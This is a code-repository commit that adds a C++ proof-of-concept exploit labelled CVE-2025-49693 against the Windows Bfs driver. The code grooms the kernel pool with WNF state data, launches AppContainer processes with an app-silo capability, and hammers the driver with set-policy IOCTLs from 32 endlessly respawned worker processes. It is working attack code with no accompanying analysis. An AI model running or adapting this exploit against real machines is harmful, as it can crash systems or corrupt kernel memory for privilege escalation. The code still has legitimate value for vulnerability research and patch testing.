Upload files to "CVE-2025-49693"

2026-07-18 18:55:14 +00:00
parent 2bb67240dc
commit 50577c243d
2 changed files with 440 additions and 0 deletions
@@ -0,0 +1,440 @@
+
+#include <iostream>
+#include <Windows.h>
+
+
+#include "ntdll.h"
+#pragma comment(lib, "ntdll")
+
+#include "wnf.h"
+#include "Bfs2.h"
+
+PWSTR gProcessPath = NULL;
+
+typedef HRESULT(WINAPI* __CreateAppContainerProfile)(
+    _In_ PCWSTR pszAppContainerName,
+    _In_ PCWSTR pszDisplayName,
+    _In_ PCWSTR pszDescription,
+    _In_reads_opt_(dwCapabilityCount) PSID_AND_ATTRIBUTES pCapabilities,
+    _In_ DWORD dwCapabilityCount,
+    _Outptr_ PSID* ppSidAppContainerSid);
+typedef HRESULT(WINAPI* __DeriveAppContainerSidFromAppContainerName)(
+    _In_ PCWSTR pszAppContainerName,
+    _Outptr_ PSID* ppsidAppContainerSid);
+
+typedef BOOL (WINAPI* __ConvertStringSecurityDescriptorToSecurityDescriptor)(
+    _In_ LPCWSTR StringSecurityDescriptor,
+    _In_ DWORD StringSDRevision,
+    _Outptr_ PSECURITY_DESCRIPTOR* SecurityDescriptor,
+    _Out_opt_ PULONG SecurityDescriptorSize);
+
+__NtCreateWnfStateName NtCreateWnfStateName = NULL;
+__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
+__NtQueryWnfStateData NtQueryWnfStateData = NULL;
+__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
+__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;
+
+void CreateContainerIf(PSID* ppSidAppContainerSid, int index) {
+
+    PCWSTR pszAppContainerName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f2";
+    PCWSTR pszDisplayName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f28";
+    PCWSTR pszDescription1 = L"This is Container_c82b2e04-432a-4767-a737-143733ee9f28.";
+
+    WCHAR szAppContainerName[0x200] = { 0 };
+    WCHAR szDisplayName[0x200] = { 0 };
+    WCHAR szDescription[0x200] = { 0 };
+
+    swprintf_s(szAppContainerName, 0x200, L"%ls_%d", pszAppContainerName1, index);
+    swprintf_s(szDisplayName, 0x200, L"%ls_%d", pszDisplayName1, index);
+    swprintf_s(szDescription, 0x200, L"%ls_%d", pszDescription1, index);
+
+    HMODULE hUserenv = NULL;
+    hUserenv = LoadLibraryA("Userenv.dll");
+
+    __CreateAppContainerProfile _CreateAppContainerProfile = (__CreateAppContainerProfile)GetProcAddress(hUserenv, "CreateAppContainerProfile");
+    __DeriveAppContainerSidFromAppContainerName _DeriveAppContainerSidFromAppContainerName = (__DeriveAppContainerSidFromAppContainerName)GetProcAddress(hUserenv, "DeriveAppContainerSidFromAppContainerName");
+    HRESULT Hr = _CreateAppContainerProfile(szAppContainerName, szDisplayName, szDescription, NULL, 0, ppSidAppContainerSid);
+    if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {
+
+        Hr = _DeriveAppContainerSidFromAppContainerName(szAppContainerName, ppSidAppContainerSid);
+    }
+}
+
+
+struct _SiloSID
+{
+    unsigned __int8 Revision;
+    unsigned __int8 SubAuthorityCount;
+    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
+    unsigned int SubAuthority[2];
+};
+
+_SiloSID CreateAppSiloCapability() {
+    _SiloSID SeAppSiloSid = { 0 };
+    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 };
+
+    IdentifierAuthority.Value[0] = 0;
+    IdentifierAuthority.Value[1] = 0;
+    IdentifierAuthority.Value[2] = 0;
+    IdentifierAuthority.Value[3] = 0;
+    IdentifierAuthority.Value[4] = 0;
+    IdentifierAuthority.Value[5] = 0xF;
+
+    InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u);
+    SeAppSiloSid.SubAuthority[0] = 3;
+    SeAppSiloSid.SubAuthority[1] = 0x10000;
+
+    return SeAppSiloSid;
+}
+
+struct _PROC_THREAD_ATTRIBUTE
+{
+    unsigned __int64 Attribute;
+    unsigned __int64 Size;
+    unsigned __int64 Value;
+};
+
+
+struct _PROC_THREAD_ATTRIBUTE_LIST
+{
+    unsigned int PresentFlags;
+    unsigned int AttributeCount;
+    unsigned int LastAttribute;
+    unsigned int SpareUlong0;
+    _PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute;
+    _PROC_THREAD_ATTRIBUTE Attributes[1];
+};
+
+void LaunchContainerApp(PSID pSidAppContainerSid, HANDLE* pProcessHandle, HANDLE* pThreadHandle) {
+    STARTUPINFOEX si = { sizeof(si) };
+    PROCESS_INFORMATION pi;
+    SIZE_T size;
+    SECURITY_CAPABILITIES sc = { 0 };
+    sc.AppContainerSid = pSidAppContainerSid;
+
+    SID_AND_ATTRIBUTES Capabilities[1] = { 0 };
+
+    _SiloSID SeAppSiloSid = CreateAppSiloCapability();
+    Capabilities[0].Sid = (PSID)(&SeAppSiloSid);
+    Capabilities[0].Attributes = 0xf;
+
+
+    sc.CapabilityCount = 1;
+    sc.Capabilities = Capabilities;
+
+    InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
+    BYTE* buffer = (BYTE*)malloc(size);
+    memset(buffer, 0, size);
+
+    si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer);
+    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
+    BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr);
+
+
+    WCHAR szCommandLine[MAX_PATH];
+
+    swprintf(szCommandLine, MAX_PATH, L"%ls -ContainerApp", gProcessPath);
+
+    bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi);
+    *pProcessHandle = pi.hProcess;
+    *pThreadHandle = pi.hThread;
+}
+
+int LoadWnfApi()
+{
+    HMODULE hNtDll = NULL;
+    hNtDll = LoadLibraryA("ntdll.dll");
+    if (hNtDll == NULL)
+    {
+        printf("load ntdll failed!\r\n");
+        return -1;
+    }
+
+    NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
+    NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
+    NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
+    NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
+    NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
+    if (NtCreateWnfStateName == NULL ||
+        NtUpdateWnfStateData == NULL ||
+        NtQueryWnfStateData == NULL ||
+        NtDeleteWnfStateData == NULL ||
+        NtDeleteWnfStateName == NULL)
+    {
+        printf("not found  functions\r\n");
+        return -1;
+    }
+
+    return 0;
+}
+
+WNF_STATE_NAME gStateNames[0x1000];
+int gStateCount = 0x1000;
+
+bool ExhaustPool2() {
+    NTSTATUS Status = 0;
+    char Entry[0x1000 - 0x10] = { 0 };
+    PSECURITY_DESCRIPTOR pSD = NULL;
+
+    WNF_STATE_NAME StateName;
+
+    int DataCount = 0x1000;
+    WNF_STATE_NAME StateNames[0x1000];
+
+    HMODULE hModule = NULL;
+    hModule = LoadLibraryA("advapi32.dll");
+
+    __ConvertStringSecurityDescriptorToSecurityDescriptor ConvertStringSecurityDescriptorToSecurityDescriptor = (__ConvertStringSecurityDescriptorToSecurityDescriptor)GetProcAddress(hModule, "ConvertStringSecurityDescriptorToSecurityDescriptorW");
+   
+    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", 1, &pSD, nullptr))
+    {
+        return false;
+    }
+
+    printf("Consuming pool...\n");
+
+    for (int i = 0; i < DataCount; ++i) {
+        Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
+        if (Status != 0)
+        {
+            printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status);
+            break;
+        }
+    }
+
+    for (int i = 0; i < gStateCount; ++i) {
+        Status = NtCreateWnfStateName(&gStateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
+        if (Status != 0)
+        {
+            printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status);
+            break;
+        }
+    }
+
+    while (true)
+    {
+        Status = NtCreateWnfStateName(&StateName, WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
+        if (Status != 0)
+        {
+            printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status);
+            break;
+        }
+
+        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateName, &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
+        if (Status != 0)
+        {
+            printf("[-] ExhaustPool2 NtUpdateWnfStateData2() Return Code: %x\n", Status);
+            break;
+        }
+    }
+
+    for (int i = 0; i < DataCount; ++i){
+
+        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, 0xc8 - 0x10, NULL, NULL, NULL, 0);
+        if (Status != 0)
+        {
+            printf("[-] ExhaustPool2 NtUpdateWnfStateData2() Return Code: %x\n", Status);
+            break;
+        }
+    }
+
+    if (pSD)
+    {
+        LocalFree(pSD);
+    }
+
+    return true;
+}
+
+
+HANDLE OpenDevice() {
+    UNICODE_STRING usDevice = { 0 };
+
+    RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs");
+
+    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
+    InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL);
+
+    IO_STATUS_BLOCK IoStatusBlock = { 0 };
+
+    HANDLE hDevice = NULL;
+    NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0);
+
+    if (STATUS_SUCCESS != status) {
+        printf("[-] NtOpenFile() Return Code: %x\n", status);
+        printf("please check if the bfs service is running.\n");
+        getchar();
+        ExitProcess(1);
+    }
+
+    return hDevice;
+}
+
+HANDLE  ghDevice            = NULL;
+DWORD   gInputBufferLength  = 100;
+PVOID   gInputBuffer        = NULL;
+
+DWORD   gOutputBufferLength = 100;
+PVOID   gOutputBuffer       = NULL;
+HANDLE  gTokenHandle        = NULL;
+
+WCHAR gszSystemDir[MAX_PATH + 1] = { 0 };
+WCHAR gszFilePath[MAX_PATH + 1] = { 0 };
+
+void SendPrepare() {
+    ghDevice = OpenDevice();
+
+    gInputBuffer = malloc(gInputBufferLength);
+    gOutputBuffer = malloc(gOutputBufferLength);
+
+    memset(gInputBuffer, 0, gInputBufferLength);
+    memset(gOutputBuffer, 0, gOutputBufferLength);
+
+    UINT uResult = GetSystemDirectoryW(gszSystemDir, MAX_PATH);
+    swprintf_s(gszFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", gszSystemDir);
+
+    _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer;
+
+    Policy->TokenHandle = gTokenHandle;
+    Policy->FileType = 1;
+    Policy->PolicyValue = 2;
+    Policy->PolicyFlags = 0xf;
+    Policy->OperationType = 1;
+
+    RtlInitUnicodeString(&(Policy->usFilePath), gszFilePath);
+
+    LoadWnfApi();
+}
+
+int SendSetPolicyRequest(ULONG OperationType) {
+
+    IO_STATUS_BLOCK IoStatusBlock = { 0 };
+
+    _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer;
+    Policy->OperationType = OperationType;
+
+    NTSTATUS Status = NtDeviceIoControlFile(
+        ghDevice,
+        NULL,
+        NULL,
+        NULL,
+        &IoStatusBlock,
+        0x228004,
+        gInputBuffer,
+        gInputBufferLength,
+        gOutputBuffer,
+        gOutputBufferLength);
+    //printf("Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
+    return Status;
+}
+
+void SiloMain() {
+    //getchar();
+}
+
+void SendRequest() {
+    NTSTATUS Status = 0;
+    char Entry[0xc8 - 0x10] = { 0 };
+    int i = 0;
+    while (true) {
+        if(i < gStateCount) {
+            if (NtUpdateWnfStateData((PWNF_STATE_NAME)&gStateNames[i++], &Entry, sizeof(Entry), NULL, NULL, NULL, 0))
+            {
+                if (!SendSetPolicyRequest(3))
+                {
+                    break;
+                }
+            }
+        }
+        else {
+            if (!SendSetPolicyRequest(3))
+            {
+                break;
+            }
+        }
+    }
+}
+
+void HostWorkerMain() {
+    int index = 0;
+    PSID pSidAppContainerSid = NULL;
+    index = GetCurrentProcessId();
+    CreateContainerIf(&pSidAppContainerSid, index);
+    printf("appsilo index = %d\n", index);
+    HANDLE ProcessHandle = NULL;
+    HANDLE ThreadHandle = NULL;
+    
+    LaunchContainerApp(pSidAppContainerSid, &ProcessHandle, &ThreadHandle);
+    OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &gTokenHandle);
+    WaitForSingleObject(ProcessHandle, INFINITE);
+
+    SendPrepare();
+    
+    ExhaustPool2();
+    printf("ExhaustPool returned.\n");
+
+    SendRequest();
+
+    CloseHandle(gTokenHandle);
+    CloseHandle(ProcessHandle);
+}
+
+HANDLE CreateWorkerProcess() {
+    STARTUPINFO si = { sizeof(si) };
+    PROCESS_INFORMATION pi;
+    WCHAR szCommandLine[MAX_PATH + 1];
+    swprintf(szCommandLine, MAX_PATH, L"%ls -Host -Worker",gProcessPath);
+
+    bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
+    return pi.hProcess;
+}
+
+HANDLE CreateHostProcess() {
+    STARTUPINFO si = { sizeof(si) };
+    PROCESS_INFORMATION pi;
+    WCHAR szCommandLine[MAX_PATH + 1];
+    swprintf(szCommandLine, MAX_PATH, L"%ls", gProcessPath);
+
+    bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
+    return pi.hProcess;
+}
+
+
+void HostMain() {
+    int index = 0;
+    int WorkerCount = 32;
+    HANDLE ProcessHandles[100];
+
+    for (int i = 0; i < WorkerCount; ++i) {
+        ProcessHandles[i] = CreateWorkerProcess();
+    }
+
+    while (true) {
+
+        DWORD dwRet = WaitForMultipleObjects(WorkerCount, ProcessHandles, FALSE, INFINITE);
+
+        ProcessHandles[dwRet - WAIT_OBJECT_0] = CreateWorkerProcess();
+    }
+}
+
+void Test() {
+    SendPrepare();
+}
+
+int wmain(int argc, WCHAR* argv[])
+{
+    //Test();
+
+    gProcessPath = argv[0];
+
+    if (argc == 1) {
+        HostMain();
+    }
+    else if (argc == 2) {
+        SiloMain();
+    }
+    else {
+        HostWorkerMain();
+    }
+}
+